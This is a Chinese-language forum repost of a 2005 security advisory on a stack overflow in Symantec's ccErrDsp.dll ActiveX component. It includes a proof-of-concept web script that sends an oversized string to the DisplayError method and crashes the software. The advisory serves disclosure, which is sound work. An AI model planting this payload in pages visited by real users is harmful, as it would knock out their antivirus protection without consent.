[翻译]All Symantec Products All Versions Until 2005 - Remote Stack B
翻译网站:[url]http://www.bnso.net[/url]翻译:剑心[B.C.T]
公告ID:<000501c4f3c0$41198b40$f85ab350 () noone>
漏洞主题:Symantec产品2005之前版本远程堆栈溢出漏洞
发布日期:2005-01-06 7:20:52
信息来源:[url]http://marc.theaimsgroup.com/?a=107461540100001&r=1&w=2[/url]
漏洞程序:2005版之前的所有Symantec产品
软件厂商:[url]http://www.symantec.com/nav/nav_pro/[/url]
影响平台:Windows
漏洞类型:堆栈溢出
漏洞危害:低风险,程序崩溃
发现日期:10 Apr 2004
公告作者:Rafel Ivgi, The-Insider
邮箱地址:the_insider@mail.com
作者主页:[url]http://theinsider.deep-ice.com[/url]
漏洞详解:
1 产品介绍:
Symantec杀毒软件2004专业版是一款提供高级别防护的反病毒软件。他通过自动杀毒来提供对email,信息及文件的保护,扩展的线程监控技术可以检测到间谍软件或者类似的黑客工具并且对用户发出警告。同时,他也提供数据恢复或者安全文件删除等高级工具。
2 漏洞介绍
Symantec诺顿2004安装很多动态的dll文件和com足见。其中有一个dll文件"ccErrDsp.dll",默认安装到C:\Program Files\Common Files\Symantec Shared\ccErrDsp.dll。ccErrDsp.dll注册CcErrDsp.ErrorDisplay.1组件。在Symantec诺顿2004被使用后,可以本地和远程创建这个组件。
举例说明:
Set symkiller = CreateObject("CcErrDsp.ErrorDisplay.1" )
缺陷存在于组件DisplayError函数的sProduct参数里。
DisplayError函数接受如下的一些参数:
DisplayError(
[in] long nParentWnd,
[in] int nModuleId,
[in] int nErrorId,
[in] BSTR sCaption,
[in] BSTR sErrorText,
[in] BSTR sProduct,
[in] BSTR sVersion,
[in, optional] VARIANT varKeyArray,
[in, optional] VARIANT varValueArray,
[out, retval] VARIANT_BOOL* pRet);
这就意味着以下的调用
object.DisplayError(1,1,1,[STR <=255],[STR <=255],[Really Long String -
'A'>521950],[STR <=255]);
将导致一个堆栈溢出,从而使代码无法执行。
3 溢出代码
先面是证明漏洞存在的代码
------------------- CUT HERE -------------------
<script>
a=
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
b=
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
for (i=0;i<2000;i++) {
a= a + b;
}
symkiller=new ActiveXObject("CcErrDsp.ErrorDisplay.1" );
symkiller.DisplayError(1,1,1,b,b,a,b);
</script>
------------------- CUT HERE -------------------
页:
[1]